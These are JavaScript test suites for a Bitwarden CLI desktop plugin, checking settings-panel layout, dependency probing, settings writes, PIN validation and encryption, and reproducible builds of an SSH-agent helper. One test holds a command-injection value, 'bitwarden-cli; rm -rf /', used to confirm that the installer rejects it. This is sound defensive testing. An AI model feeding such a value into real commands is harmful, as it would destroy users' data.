/if \(row\.y > top \+ 1\) break/.test(panelSrc),
"a heading at the top edge is the section the view is in")
check("the in-list heading yields to the bar rather than drawing alongside it",
/readonly property bool yieldsToBar: isGroup[\s\S]{0,140}root\.settingsStickyEntry\.group === modelData\.group/.test(panelSrc),
"the pinned section's own heading must not be drawn twice")
// Going transparent hid the ink and kept the space, which left a
// heading-sized hole directly under the bar. It gives up the row instead.
check("it yields its space, not just its ink",
/visible: isGroup && !yieldsToBar/.test(panelSrc)
&& !/opacity: \(root\.settingsStickyEntry/.test(panelSrc),
"a transparent row leaves a gap where the heading was")
check("the gap above it goes too",
/visible: isGroup && index > 0 && !yieldsToBar/.test(panelSrc),
"the spacer above a hidden heading would leave a smaller hole in its place")
// Exactly one heading is ever yielding, so the content height is constant:
// the one taking over collapses as the previous one is restored.
check("only the pinned section's heading yields, so the height stays constant",
/Exactly one heading is ever in this state/.test(panelSrc),
"expected the reasoning recorded where the next reader will be standing")
check("and only while part of that section is still on screen",
/if \(top < settingsSectionEnd\(i\)\)/.test(panelSrc),
"past the end of a section the bar must let go of it")
check("a section's extent is the next heading, or the last row for the final one",
/function settingsSectionEnd\(index\)/.test(panelSrc)
&& /if \(next\) return next\.y/.test(panelSrc)
&& /if \(last\) return last\.y \+ last\.height/.test(panelSrc),
"expected both the between-headings and the final-section cases")
// The trailing maintenance and danger-zone blocks are not foldable sections.
// Leaving the last group pinned through them would offer to fold something the
// user had scrolled past and could no longer see.
check("the bar empties rather than naming a section that is no longer in view",
/var found = null/.test(panelSrc)
&& !/if \(!found\) \{/.test(panelSrc),
"there must be no fallback that forces a section into an empty bar")
// --- the sections are not foldable ------------------------------------------
//
// They were, for a few commits. Three groups of three, seven and four rows do
// not need folding, and a fold is one more state to be in and one more thing
// to leave shut by accident. These assertions exist so it does not creep back
// halfway -- a chevron with nothing behind it, or a heading that swallows a
// click.
check("no collapse state is kept",
!/collapsedGroups/.test(panelSrc), "settings sections are not foldable")
check("headings are not controls",
!/toggleSettingsGroup|toggleStickySettingsGroup/.test(panelSrc),
"a heading that folds nothing must not accept a click")
check("the pinned indicator carries no chevron or count",
!/settingsStickyEntry\.collapsed|settingsStickyEntry\.count/.test(panelSrc),
"the bar names the section and nothing more")
// A heading is in the list so the indicator has geometry to read, but it is
// not something the cursor can act on -- stopping there and doing nothing on
// Enter is worse than stepping over it.
check("the keyboard cursor steps over headings",
/while \(i >= 0 && i < n && settingsEntries\[i\] && settingsEntries\[i\]\.kind === "group"\) i \+= step/.test(panelSrc),
"expected the cursor to skip group rows")
check("the screen opens on a setting, not on a heading",
/settingsIndex = firstSettingIndex\(\)/.test(panelSrc),
"the first row in the list is a heading")
check("activation and adjustment have no group case left",
!/e\.kind === "group"/.test(panelSrc),
"the cursor can no longer land on a heading, so neither needs to handle one")
// --- geometry access is funnelled ---------------------------------------------
check("view geometry is reached through named helpers, not ids scattered about",
/function settingsViewportTop\(\)/.test(panelSrc)
&& /function settingsRepeaterItem\(i\)/.test(panelSrc),
"expected settingsViewportTop and settingsRepeaterItem")
check("both helpers survive being called before the view exists",
/return settingsFlick \? settingsFlick\.contentY : 0/.test(panelSrc)
&& /return settingsRepeater \? settingsRepeater\.itemAt\(i\) : null/.test(panelSrc),
"openSettings runs before the screen is built")
// --- every scrollbar gets a lane of its own ----------------------------------
//
// These bars are overlays. Left alone each one draws on top of whatever is at
// the right edge of its view -- toggles, number fields, copy buttons, the ends
// of elided text. Every scrolling view subtracts one shared gutter, so no bar
// covers a control and the right-hand edges line up across screens.
check("the gutter is measured from a real scrollbar, not guessed",
/settingsScrollBar \? settingsScrollBar\.implicitWidth : 0/.test(panelSrc),
"a theme with a wider bar would put it back over the controls")
check("the gutter has a floor for a null bar and for the frames before layout",
/Math\.max\(settingsScrollBar[\s\S]{0,120}Style\.space\(10\)\)/.test(panelSrc),
"expected a minimum gutter")
// Every scrolling view in the panel, by the id its content width is bound to.
const scrollViews = [
"sendFlick", "fpFlick", "genFlick", "pinFlick", "setupFlick", "settingsFlick",
"filterOptionsList", "detailFlickable", "editFlickable",
"folderPickList", "orgPickList", "collectionList",
]
for (const view of scrollViews) {
check(`${view} keeps its content clear of the scrollbar`,
new RegExp(`width: ${view}\\.width - root\\.scrollGutter`).test(panelSrc),
`${view} content runs under its own scrollbar`)
}
// The vault list is a ListView, so its delegate takes the width directly
// rather than through a content column.
check("the vault list's rows keep clear of the scrollbar too",
/width: ListView\.view\.width - root\.scrollGutter/.test(panelSrc),
"the item rows run under the bar")
check("every scrolling view is accounted for",
(panelSrc.match(/ScrollBar\.vertical:/g) || []).length === scrollViews.length + 1,
`${(panelSrc.match(/ScrollBar\.vertical:/g) || []).length} scrollbars for ${scrollViews.length} views plus the list`)
check("the pinned settings row is inset to match its rows",
/anchors\.rightMargin: root\.scrollGutter/.test(panelSrc),
"Back would otherwise overhang every control beneath it")
// Heading rows carry no description and no zeroLabel, and QML evaluates the
// bindings of invisible items, so these ran for every heading in the list.
check("bindings that also run for heading rows tolerate the missing fields",
/\(modelData\.description \|\| ""\)/.test(panelSrc)
&& /\(modelData\.zeroLabel \|\| ""\)/.test(panelSrc),
"undefined reaching a QString property is a warning on every frame")
// --- the danger zone ----------------------------------------------------------
check("destructive actions are separated from maintenance ones",
/text: "MAINTENANCE"/.test(panelSrc) && /text: "DANGER ZONE"/.test(panelSrc),
"expected both headings")
check("the danger heading is drawn in the urgent colour",
/text: "DANGER ZONE"[\s\S]{0,120}foreground: Color\.urgent/.test(panelSrc),
"a destructive section should not look like every other heading")
check("the danger zone is set off by a separator",
/PanelSeparator \{ width: parent\.width \}\s*\n\s*\n?\s*PanelSectionHeader \{[\s\S]{0,120}DANGER ZONE/.test(panelSrc),
"expected a rule above the destructive section")
check("Remove Plugin Data sits under the danger heading, not beside Dependencies",
panelSrc.indexOf('text: "DANGER ZONE"') < panelSrc.indexOf('text: "Remove Plugin Data"')
&& panelSrc.indexOf('text: "Dependencies"') < panelSrc.indexOf('text: "DANGER ZONE"'),
"ordering puts the destructive button in the wrong section")
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) {
console.error("\nFAILURES:\n " + failures.join("\n "))
process.exit(1)
}
@@ -0,0 +1,372 @@
#!/usr/bin/env node
// Tests for the setup wizard's dependency probe and the settings writer.
//
// The interesting cases are the ones that cannot be exercised on a machine
// where everything is already installed: a missing required tool, and fprintd
// being present but having no enrolled finger.
//
// node tests/setup-settings.test.js
const fs = require("fs")
const path = require("path")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.parseDependencies = parseDependencies
exports.missingRequired = missingRequired
exports.dependencyCheckCommand = dependencyCheckCommand
exports.vaultListMode = vaultListMode
exports.vaultListBlockedMessage = vaultListBlockedMessage
exports.vaultListFailureMessage = vaultListFailureMessage
exports.sshCliMinVersion = sshCliMinVersion
exports.sshCliSupport = typeof sshCliSupport === "function" ? sshCliSupport : null
exports.sshUiAvailable = sshUiAvailable
exports.settingWriteCommand = settingWriteCommand
exports.boolSetting = boolSetting
exports.installPackagesCommand = installPackagesCommand
exports.SETTINGS_SCHEMA = SETTINGS_SCHEMA
exports.DEPENDENCIES = DEPENDENCIES
exports.groupedSettings = groupedSettings
exports.SETTINGS_GROUPS = SETTINGS_GROUPS
exports.validatePin = validatePin
exports.pinMinLength = pinMinLength
exports.pinRecommendedLength = pinRecommendedLength
exports.pinWeakWarning = pinWeakWarning
exports.isPinWeak = isPinWeak
exports.pinStoreCommand = pinStoreCommand
exports.pinUnlockCommand = pinUnlockCommand
`)(Model)
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const byKey = (deps, k) => deps.items.find(d => d.key === k)
const dependencyProbe = Model.dependencyCheckCommand()[2]
const sshCliSupport = (version) => typeof Model.sshCliSupport === "function"
? Model.sshCliSupport(version)
: "__missing__"
// --- everything present -----------------------------------------------------
const all = Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
check("all present: nothing required is missing",
Model.missingRequired(all).length === 0,
`got [${Model.missingRequired(all).map(d => d.key)}]`)
check("all present: fprintd reported ready", byKey(all, "fprintd").ready === true, "expected ready")
check("jq is a required dependency alongside bw",
byKey(all, "jq") && byKey(all, "jq").required === true && byKey(all, "jq").pkg === "jq",
JSON.stringify(byKey(all, "jq")))
check("the dependency probe checks for jq before vault reads",
dependencyProbe.includes("command -v jq"),
dependencyProbe)
check("the dependency probe captures the bw CLI version for SSH gating",
/bw\s+--version|bw\s+-v/.test(dependencyProbe),
dependencyProbe)
check("sshCliMinVersion reports the verified floor",
Model.sshCliMinVersion() === "2025.1.2",
String(Model.sshCliMinVersion()))
check("sshCliSupport marks 2025.1.2 as supported",
sshCliSupport("2025.1.2") === "supported",
JSON.stringify(sshCliSupport("2025.1.2")))
check("sshCliSupport marks 2025.1.1 as unsupported",
sshCliSupport("2025.1.1") === "unsupported",
JSON.stringify(sshCliSupport("2025.1.1")))
check("sshCliSupport treats malformed versions as unknown",
sshCliSupport("development-build") === "unknown",
JSON.stringify(sshCliSupport("development-build")))
check("sshCliSupport treats a missing version as unknown",
sshCliSupport("") === "unknown",
JSON.stringify(sshCliSupport("")))
check("SSH surfaces stay hidden until the probe confirms a supported CLI",
Model.sshUiAvailable(all, true) === true
&& Model.sshUiAvailable(all, false) === false,
JSON.stringify({ checked: Model.sshUiAvailable(all, true), unchecked: Model.sshUiAvailable(all, false) }))
const oldCli = Model.parseDependencies(
"bw=1\nbw_version=2025.1.1\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
check("an unsupported CLI hides SSH but still reports why on the bw row",
Model.sshUiAvailable(oldCli, true) === false
&& byKey(oldCli, "bw").note.includes("2025.1.2")
&& byKey(oldCli, "bw").note.includes("2025.1.1"),
JSON.stringify(byKey(oldCli, "bw")))
const unreadableCli = Model.parseDependencies(
"bw=1\nbw_version=development-build\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
check("an unreadable CLI version hides SSH rather than assuming support",
Model.sshUiAvailable(unreadableCli, true) === false
&& unreadableCli.sshCliStatus === "unknown"
&& byKey(unreadableCli, "bw").note !== "",
JSON.stringify({ status: unreadableCli.sshCliStatus, bw: byKey(unreadableCli, "bw") }))
check("bw version metadata is preserved for feature gating",
byKey(all, "bw") && byKey(all, "bw").version === "2025.1.2" && all.sshCliStatus === "supported",
JSON.stringify({ bw: byKey(all, "bw"), sshCliStatus: all.sshCliStatus }))
// --- the case that matters: a required tool is absent -----------------------
const noBw = Model.parseDependencies(
"bw=0\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
const missing = Model.missingRequired(noBw)
check("missing bw is reported as required",
missing.length === 1 && missing[0].key === "bw" && missing[0].pkg === "bitwarden-cli",
`got [${missing.map(d => d.key + ":" + d.pkg)}]`)
check("missing bw is not marked installed", byKey(noBw, "bw").installed === false, "expected false")
const noJq = Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=0\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
const missingNoJq = Model.missingRequired(noJq)
check("missing jq is reported as required",
missingNoJq.length === 1 && missingNoJq[0].key === "jq" && missingNoJq[0].pkg === "jq",
`got [${missingNoJq.map(d => d.key + ":" + d.pkg)}]`)
check("missing jq does not alter optional dependency semantics",
byKey(noJq, "fprintd").required === false,
JSON.stringify(byKey(noJq, "fprintd")))
check("supported bw without jq blocks the vault list until setup finishes",
Model.vaultListMode(noJq) === "blocked"
&& Model.vaultListBlockedMessage(noJq).includes("jq"),
`${Model.vaultListMode(noJq)} / ${Model.vaultListBlockedMessage(noJq)}`)
// A whole-list failure on a CLI that predates the malformed-SSH-item fix is the
// one case where the panel can say something useful about a read it cannot
// repair. The attribution comes from the probed version, never from the failed
// read's own output, which can quote decrypted vault material.
const rawCliFailure = "TypeError: Cannot read properties of null (reading 'keyFingerprint') for item work-ssh"
check("a list failure on a pre-2026.8.0 CLI names the release that fixes it",
Model.vaultListFailureMessage(rawCliFailure, all, "sanitized").includes("2026.8.0"),
Model.vaultListFailureMessage(rawCliFailure, all, "sanitized"))
check("the failure message never echoes raw CLI output",
!Model.vaultListFailureMessage(rawCliFailure, all, "sanitized").includes("keyFingerprint")
&& !Model.vaultListFailureMessage(rawCliFailure, all, "sanitized").includes("TypeError")
&& !Model.vaultListFailureMessage(rawCliFailure, all, "sanitized").includes("work-ssh"),
Model.vaultListFailureMessage(rawCliFailure, all, "sanitized"))
const fixedCli = Model.parseDependencies(
"bw=1\nbw_version=2026.8.0\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
check("a list failure on a fixed CLI does not blame the SSH-item bug",
!Model.vaultListFailureMessage(rawCliFailure, fixedCli, "sanitized").includes("2026.8.0"),
Model.vaultListFailureMessage(rawCliFailure, fixedCli, "sanitized"))
check("a blocked list reports the missing tool instead of the SSH hint",
Model.vaultListFailureMessage(rawCliFailure, noJq, "blocked").includes("jq")
&& !Model.vaultListFailureMessage(rawCliFailure, noJq, "blocked").includes("2026.8.0"),
Model.vaultListFailureMessage(rawCliFailure, noJq, "blocked"))
// An optional tool going missing must not trigger the blocking wizard.
const noFprintd = Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=0\nfingerprint_ready=0\nomarchy=1")
check("missing optional tool does not block setup",
Model.missingRequired(noFprintd).length === 0,
`got [${Model.missingRequired(noFprintd).map(d => d.key)}]`)
// --- fprintd installed but no finger enrolled -------------------------------
const noFinger = Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=0\nomarchy=1")
check("fprintd on PATH without an enrolled finger is installed-but-not-ready",
byKey(noFinger, "fprintd").installed === true && byKey(noFinger, "fprintd").ready === false,
`installed=${byKey(noFinger, "fprintd").installed} ready=${byKey(noFinger, "fprintd").ready}`)
const oldBw = Model.parseDependencies(
"bw=1\nbw_version=2025.1.1\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
check("older bw versions remain installed but are marked unsupported for SSH",
byKey(oldBw, "bw").installed === true
&& byKey(oldBw, "bw").version === "2025.1.1"
&& oldBw.sshCliStatus === "unsupported"
&& byKey(oldBw, "bw").note.includes(Model.sshCliMinVersion()),
JSON.stringify({ bw: byKey(oldBw, "bw"), sshCliStatus: oldBw.sshCliStatus }))
check("older bw with jq still uses the sanitized list path for ordinary items",
Model.vaultListMode(oldBw) === "sanitized",
JSON.stringify({ mode: Model.vaultListMode(oldBw), deps: oldBw }))
const unknownBw = Model.parseDependencies(
"bw=1\nbw_version=development-build\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
check("unknown bw versions are reported separately from unsupported ones",
byKey(unknownBw, "bw").installed === true
&& byKey(unknownBw, "bw").version === ""
&& unknownBw.sshCliStatus === "unknown",
JSON.stringify({ bw: byKey(unknownBw, "bw"), sshCliStatus: unknownBw.sshCliStatus }))
check("unknown bw with jq still uses the sanitized list path and never falls back to a raw legacy read",
Model.vaultListMode(unknownBw) === "sanitized",
JSON.stringify({ mode: Model.vaultListMode(unknownBw), deps: unknownBw }))
// --- malformed / empty probe output -----------------------------------------
for (const [label, raw] of [["empty", ""], ["garbage", "???\n=\nbw\n"]]) {
const d = Model.parseDependencies(raw)
check(`${label} probe output degrades to all-missing`,
d.items.length === Model.DEPENDENCIES.length && d.items.every(i => !i.installed),
`got ${d.items.length} items, installed=[${d.items.filter(i => i.installed).map(i => i.key)}]`)
}
// --- settings writer --------------------------------------------------------
// Values must reach shell.json as real JSON types, not strings, or `setting()`
// hands the panel a string where it expects a number or a bool.
// The writer runs through bash so its diagnostic stderr can be capped, so the
// assertions read the script rather than an argv list.
const writeScript = (k, v, t) => Model.settingWriteCommand(k, v, t)[2]
// --- colorized menu-bar icon setting ----------------------------------------
const colorizeIcon = Model.SETTINGS_SCHEMA.find(e => e.key === "colorizeIcon")
check("colorized icon setting is declared in General", !!colorizeIcon
&& colorizeIcon.group === "general"
&& colorizeIcon.type === "bool",
JSON.stringify(colorizeIcon))
check("colorized icon defaults off", !!colorizeIcon && colorizeIcon.defaultValue === false,
JSON.stringify(colorizeIcon))
check("colorized icon accepts only actual booleans",
Model.boolSetting("colorizeIcon", true) === true
&& Model.boolSetting("colorizeIcon", false) === false
&& Model.boolSetting("colorizeIcon", "true") === false
&& Model.boolSetting("colorizeIcon", 1) === false,
"malformed colorizeIcon input was accepted")
check("boolean settings accept actual JSON booleans",
Model.boolSetting("fingerprintUnlock", true) === true
&& Model.boolSetting("fingerprintUnlock", false) === false,
"actual booleans were not preserved")
check("malformed strings cannot enable opt-in credential storage",
Model.boolSetting("fingerprintUnlock", "false") === false
&& Model.boolSetting("pinUnlock", "true") === false,
"a string enabled an opt-in unlock method")
check("malformed lock settings fail back to their secure defaults",
Model.boolSetting("lockOnScreenLock", "false") === true
&& Model.boolSetting("lockOnSuspend", 0) === true,
"a malformed setting disabled locking")
check("int setting is written with --json",
writeScript("autoLockMinutes", 15, "int")
.includes("omarchy bar set io.github.elevate08.qs-bitwarden-cli 'autoLockMinutes' '15' --json"),
writeScript("autoLockMinutes", 15, "int"))
for (const [v, want] of [[true, "true"], [false, "false"]]) {
const script = writeScript("closeOnCopy", v, "bool")
check(`bool ${v} is written as ${want}`,
script.includes(`'closeOnCopy' '${want}' --json`), `got ${script}`)
}
check("a zero int is written as 0, not dropped",
writeScript("autoLockMinutes", 0, "int").includes("'autoLockMinutes' '0' --json"),
writeScript("autoLockMinutes", 0, "int"))
// stderr from `omarchy bar set` is collected by the panel, so it needs the same
// producer-side cap as every other stream the long-lived shell buffers.
check("setting writer caps its diagnostic stderr",
writeScript("autoLockMinutes", 15, "int").includes("exec 2> >(head -c 8192 >&2)"),
writeScript("autoLockMinutes", 15, "int"))
// Every schema key must exist in the manifest, or the settings screen would
// write a key the plugin never reads.
const manifest = JSON.parse(fs.readFileSync(path.join(__dirname, "..", "manifest.json"), "utf8"))
const manifestKeys = new Set(manifest.barWidget.schema.map(e => e.key))
for (const entry of Model.SETTINGS_SCHEMA) {
check(`schema key '${entry.key}' exists in manifest.json`,
manifestKeys.has(entry.key), `manifest has [${[...manifestKeys]}]`)
}
const colorizeManifest = manifest.barWidget.schema.find(e => e.key === "colorizeIcon")
check("manifest colorized icon schema matches the model contract",
!!colorizeManifest
&& colorizeManifest.type === "boolean"
&& colorizeManifest.label === colorizeIcon.label
&& colorizeManifest.description === colorizeIcon.description
&& colorizeManifest.defaultValue === false
&& manifest.barWidget.defaults.colorizeIcon === false,
JSON.stringify({ model: colorizeIcon, manifest: colorizeManifest }))
// --- install command --------------------------------------------------------
check("no packages yields no command", Model.installPackagesCommand([]) === null, "expected null")
const inst = Model.installPackagesCommand(["bitwarden-cli", "wl-clipboard"])
check("install goes through Omarchy's own floating-terminal installer",
inst.slice(0, 3).join(" ") === "omarchy install app" && inst[4] === "bitwarden-cli wl-clipboard",
inst.join(" "))
// The package list lands in an unquoted expansion inside omarchy-install-app,
// so anything that is not a plain package name must not reach it.
check("install refuses a package name that is not one",
Model.installPackagesCommand(["bitwarden-cli; rm -rf /"]) === null,
JSON.stringify(Model.installPackagesCommand(["bitwarden-cli; rm -rf /"])))
// The probe must be a single process, not one per tool.
check("dependency probe is one shell invocation",
Model.dependencyCheckCommand()[0] === "bash" && Model.dependencyCheckCommand().length === 3,
JSON.stringify(Model.dependencyCheckCommand().slice(0, 2)))
// --- settings grouping ------------------------------------------------------
const grouped = Model.groupedSettings()
check("grouping keeps every setting",
grouped.length === Model.SETTINGS_SCHEMA.length,
`${grouped.length} vs ${Model.SETTINGS_SCHEMA.length}`)
check("exactly one header per group",
grouped.filter(e => e.groupLabel !== "").length === Model.SETTINGS_GROUPS.length,
`got ${grouped.filter(e => e.groupLabel !== "").length} headers`)
check("entries are contiguous within a group",
JSON.stringify(grouped.map(e => e.group)) ===
JSON.stringify(grouped.map(e => e.group).slice().sort(
(a, b) => Model.SETTINGS_GROUPS.findIndex(g => g.id === a) - Model.SETTINGS_GROUPS.findIndex(g => g.id === b))),
grouped.map(e => e.group).join(","))
check("grouping does not mutate the schema",
Model.SETTINGS_SCHEMA.every(e => e.groupLabel === undefined), "schema was mutated")
// --- PIN validation ---------------------------------------------------------
check("minimum PIN length is 4", Model.pinMinLength() === 4, String(Model.pinMinLength()))
check("recommended PIN length is 6", Model.pinRecommendedLength() === 6, String(Model.pinRecommendedLength()))
// A short PIN is allowed -- the point is that it is flagged, not blocked.
check("a 4-digit PIN still validates", Model.validatePin("1234", "1234") === "", Model.validatePin("1234", "1234"))
check("a 5-digit PIN still validates", Model.validatePin("12345", "12345") === "", Model.validatePin("12345", "12345"))
check("but 4 digits is flagged weak", Model.isPinWeak("1234"), "expected weak")
check("and 5 digits is flagged weak", Model.isPinWeak("12345"), "expected weak")
check("6 digits is not flagged", !Model.isPinWeak("123456"), Model.pinWeakWarning("123456"))
check("longer than 6 is not flagged", !Model.isPinWeak("1234567890"), Model.pinWeakWarning("1234567890"))
// No warning while still typing towards a good PIN, or it would flash on
// every keystroke from the first digit onwards.
check("nothing is flagged before the floor is even reached",
!Model.isPinWeak("") && !Model.isPinWeak("1") && !Model.isPinWeak("123"),
"expected no warning below the minimum")
// The warning has to carry the actual number, not a vague 'weak'.
check("the warning names the search space for 4 digits",
Model.pinWeakWarning("1234").includes("10,000") && Model.pinWeakWarning("1234").includes("4-digit"),
Model.pinWeakWarning("1234"))
check("the warning names the search space for 5 digits",
Model.pinWeakWarning("12345").includes("100,000"), Model.pinWeakWarning("12345"))
check("the warning points at the recommendation",
Model.pinWeakWarning("1234").includes("6 or more"), Model.pinWeakWarning("1234"))
for (const [pin, confirm, wantErr] of [
["123", "123", true], // too short
["1234", "1234", false], // the minimum is accepted
["12345678901234", "12345678901234", false], // longer is allowed, no upper bound
["12a4", "12a4", true], // non-digits refused
["", "", true],
["1234", "4321", true], // mismatch
]) {
const err = Model.validatePin(pin, confirm)
check(`validatePin(${JSON.stringify(pin)}, ${JSON.stringify(confirm)})`,
(err !== "") === wantErr, `err=${JSON.stringify(err)}`)
}
check("confirm is optional when omitted", Model.validatePin("1234") === "", Model.validatePin("1234"))
// --- PIN crypto command shape ----------------------------------------------
// The whole point of PIN unlock over fingerprint unlock is that the keyring
// holds ciphertext, not the master password. Guard that property.
const store = Model.pinStoreCommand()[2]
check("store derives a key from the PIN rather than saving it",
store.includes("openssl enc") && store.includes("-pbkdf2") && store.includes("env:QSBW_PIN"), store)
check("store uses a high iteration count",
/-iter\s+(\d+)/.test(store) && Number(store.match(/-iter\s+(\d+)/)[1]) >= 600000, store)
check("store pins PBKDF2 to SHA-256 instead of relying on an OpenSSL default",
store.includes("-md sha256"), store)
check("store salts the ciphertext", store.includes("-salt"), store)
check("store reports encryption failures instead of saving an empty blob",
store.includes("set -o pipefail"), store)
check("store pipes straight into the keyring, never through argv",
store.includes("secret-tool store") && !store.includes("$QSBW_SECRET\" secret-tool"), store)
check("neither PIN nor secret appears as a literal argument",
!store.includes("--pass ") && store.includes("-pass env:"), store)
const unlock = Model.pinUnlockCommand()[2]
check("unlock decrypts with the PIN-derived key",
unlock.includes("openssl enc -d") && unlock.includes("env:QSBW_PIN"), unlock)
check("unlock fails loudly when the lookup fails (pipefail)",
unlock.includes("set -o pipefail"), unlock)
check("unlock iteration count matches store",
unlock.match(/-iter\s+(\d+)/)[1] === store.match(/-iter\s+(\d+)/)[1],
`${unlock.match(/-iter\s+(\d+)/)[1]} vs ${store.match(/-iter\s+(\d+)/)[1]}`)
check("unlock uses the same explicit PBKDF2 digest as store",
unlock.includes("-md sha256"), unlock)
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
@@ -0,0 +1,395 @@
#!/usr/bin/env node
// The helper ships as committed bytes, which is only defensible if anyone can
// rebuild them from the committed source. These tests guard the parts of that
// promise which rot silently: a digest that drifts between the build script
// and the workflow, an image pinned by tag instead of digest, a build that
// would claim reproducibility it cannot support, or a toolchain pin nothing
// actually enforces.
//
// They deliberately do not run a build. The build needs a container this
// machine may not have; what can be checked here is that the definition is
// coherent and refuses the right things.
//
// node tests/ssh-agent-artifact.test.js
const fs = require("fs")
const path = require("path")
const { spawnSync } = require("child_process")
const repoRoot = path.join(__dirname, "..")
const read = p => fs.readFileSync(path.join(repoRoot, p), "utf8")
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const eq = (label, actual, expected) =>
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
const script = read("scripts/build-agent.sh")
const workflow = read(".github/workflows/agent-build.yml")
const cargoConfig = read("agent/.cargo/config.toml")
const toolchain = read("agent/rust-toolchain.toml")
// -------------------------------------------------------------------------
// The pinned environment is pinned, and pinned to the same thing everywhere
// -------------------------------------------------------------------------
const DIGEST_RE = /rust:([0-9.]+)-(\w+)@(sha256:[0-9a-f]{64})/g
const scriptPin = /PINNED_IMAGE="rust:([0-9.]+)-(\w+)@(sha256:[0-9a-f]{64})"/.exec(script)
check("the build script pins an image by digest", !!scriptPin,
"no digest-pinned PINNED_IMAGE; a tag is a moving pointer")
const workflowPins = [...workflow.matchAll(DIGEST_RE)]
check("every workflow job pins its container by digest", workflowPins.length >= 1,
"no digest-pinned container image in the workflow")
if (scriptPin && workflowPins.length) {
const unique = new Set(workflowPins.map(m => m[3]))
eq("the workflow pins exactly one image digest", unique.size, 1)
// Drift between these two is the failure this file mainly exists to catch:
// CI would keep passing while the documented local build produced other bytes.
check("the script and the workflow pin the same digest",
unique.has(scriptPin[3]),
`script ${scriptPin[3]} vs workflow ${[...unique].join(", ")}`)
}
// An image referenced anywhere by tag alone defeats the point.
const looseTag = /image:\s*rust:[0-9.]+-\w+\s*$/m.test(workflow)
check("no workflow image is referenced by tag alone", !looseTag,
"a tag-only image reference would drift underneath an unchanged repository")
// The container's Rust must be the Rust the repository pins.
const pinnedChannel = /channel\s*=\s*"([^"]+)"/.exec(toolchain)
check("the toolchain file pins an exact channel",
!!pinnedChannel && /^\d+\.\d+\.\d+$/.test(pinnedChannel[1]),
pinnedChannel ? pinnedChannel[1] : "no channel")
if (pinnedChannel && scriptPin) {
eq("the pinned image carries the pinned Rust version", scriptPin[1], pinnedChannel[1])
}
check("CI verifies the container's Rust matches the pin at run time",
/rust-toolchain\.toml[\s\S]{0,400}?rustc --version/.test(workflow)
|| /pinned="?\$\(grep[\s\S]{0,200}?rust-toolchain\.toml/.test(workflow),
"nothing checks the container's Rust against rust-toolchain.toml")
// -------------------------------------------------------------------------
// The build inputs the design requires
// -------------------------------------------------------------------------
check("the build is locked to the committed dependency set",
/cargo build[^\n]*--locked/.test(script), "the build does not pass --locked")
check("the target is fixed",
/SUPPORTED_TARGET="x86_64-unknown-linux-gnu"/.test(script), "no fixed target")
check("the source path is remapped out of the binary",
/--remap-path-prefix=%s=\/src/.test(script), "the source path is not remapped")
check("the registry path is remapped too",
/--remap-path-prefix=%s\/registry=\/registry/.test(script),
"the registry path is the one that usually leaks, and it is not remapped")
check("the release profile strips symbols",
/strip\s*=\s*"symbols"/.test(read("agent/Cargo.toml")),
"the release profile does not strip")
// rustc embeds no build timestamp and ignores SOURCE_DATE_EPOCH, so listing it
// as the mechanism would be cargo-culting rather than pinning.
check("SOURCE_DATE_EPOCH is not claimed as the mechanism",
!/SOURCE_DATE_EPOCH=/.test(script), "SOURCE_DATE_EPOCH is set as though it mattered here")
// A binary tracked by the commit that names it cannot be rebuilt from that
// commit -- the SHA would have to be known before it exists.
check("no git commit is embedded in the artifact",
!/GIT_(COMMIT|SHA)|git rev-parse/.test(script),
"embedding the commit makes the artifact circular")
// An actual assignment, not the comment explaining why there isn't one:
// rustflags set here are silently replaced when RUSTFLAGS is in the
// environment, which would drop the path remaps without any error.
check("the cargo config sets no rustflags for the environment to replace",
!/^\s*rustflags\s*=/m.test(cargoConfig),
"config.toml assigns rustflags, which RUSTFLAGS in the environment would silently drop")
// -------------------------------------------------------------------------
// What the script refuses
// -------------------------------------------------------------------------
const run = (...args) => spawnSync("bash", [path.join(repoRoot, "scripts/build-agent.sh"), ...args],
{ encoding: "utf8", env: Object.assign({}, process.env, { PATH: process.env.PATH }) })
eq("--help succeeds", run("--help").status, 0)
eq("an unknown argument is refused", run("--bogus").status, 1)
const wrongTarget = spawnSync("bash", [path.join(repoRoot, "scripts/build-agent.sh")],
{ encoding: "utf8", env: Object.assign({}, process.env, { CARGO_BUILD_TARGET: "aarch64-unknown-linux-gnu" }) })
eq("an unsupported target is refused", wrongTarget.status, 1)
check("the refusal names the target", /aarch64/.test(wrongTarget.stderr), wrongTarget.stderr.slice(0, 160))
// The pinned environment is entered, not started: CI runs this script inside
// the image, where no container runtime exists. Conflating "am I pinned" with
// "can I start a container" made the script refuse in the one place it was
// written for, so both halves are pinned down here.
check("the script recognises being inside the pinned environment",
/in_pinned_environment\(\)/.test(script) && /QSBW_PINNED_BUILD/.test(script),
"the script cannot tell it is already in the pinned image")
